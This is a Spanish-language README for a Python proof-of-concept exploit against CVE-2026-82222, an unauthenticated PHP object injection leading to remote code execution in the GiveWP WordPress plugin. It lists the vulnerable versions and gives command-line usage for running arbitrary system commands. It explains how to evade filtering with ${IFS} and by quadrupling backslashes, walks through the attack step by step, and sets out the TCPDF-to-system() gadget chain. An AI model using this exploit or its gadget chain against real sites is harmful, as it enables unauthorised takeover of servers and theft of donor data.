
Prueba de concepto de exploit para CVE-2026-82222, una inyección de objetos PHP sin autenticación que conduce a la ejecución remota de código en el plugin GiveWP de WordPress en versiones hasta la 4.16.7.1.
| Rango | ¿Alcanzable? |
|---|
<= 4.16.5.1 | Instalación predeterminada. Un formulario publicado, una pasarela activa. |
4.16.6 a 4.16.7.1 | Sí, si existe un formulario heredado (no V3). Una instalación nueva solo con V3 no lo es. |
Python 3.8+ y requests.
pip install requests
python cve-2026-82222.py http://127.0.0.1:8080
python cve-2026-82222.py http://127.0.0.1:8080 --check
python cve-2026-82222.py http://127.0.0.1:8080 42 -c id
python cve-2026-82222.py http://127.0.0.1:8080 -g offline
-c usa id por defecto. Sin < > & % en el comando; los espacios se convierten en ${IFS}.
Pase un ID de formulario si la detección falla. Pase -g si el script no puede encontrar una pasarela habilitada.
La solicitud de donación a menudo devuelve HTTP 500 o agota el tiempo de espera. Eso es esperado. La escritura de la sesión ocurre primero. La salida de system() está en la siguiente solicitud (/?give_action=view_receipt y similares), no en un archivo en disco.
python cve-2026-82222.py -h para el resto.
POST give_action=user_register. GiveWP crea la cuenta y establece una cookie de autenticación. No consulta users_can_register.last_name a través de /wp-admin/profile.php.give_last. process-donation.php lee el nombre de usermeta, ejecuta maybeSafeUnserialize (allowed_classes => false) y escribe __PHP_Incomplete_Class en wp_give_sessions. PHP reemite los bytes del objeto original en el camino.TCPDF::__destruct() llega a call_user_func_array('system', [cmd]). La salida estándar está en esa respuesta.TCPDF.__destruct()
-> Symfony Session.getIterator()
-> Give\TestData ProviderForwarder.__call()
-> call_user_func_array('system', [cmd])
pre_user_last_name elimina NUL, por lo que las propiedades del gadget no se alteran. Las barras invertidas se cuadruplican para sobrevivir a stripslashes_deep y luego a removeBackslashes.
MIT. Consulte LICENSE.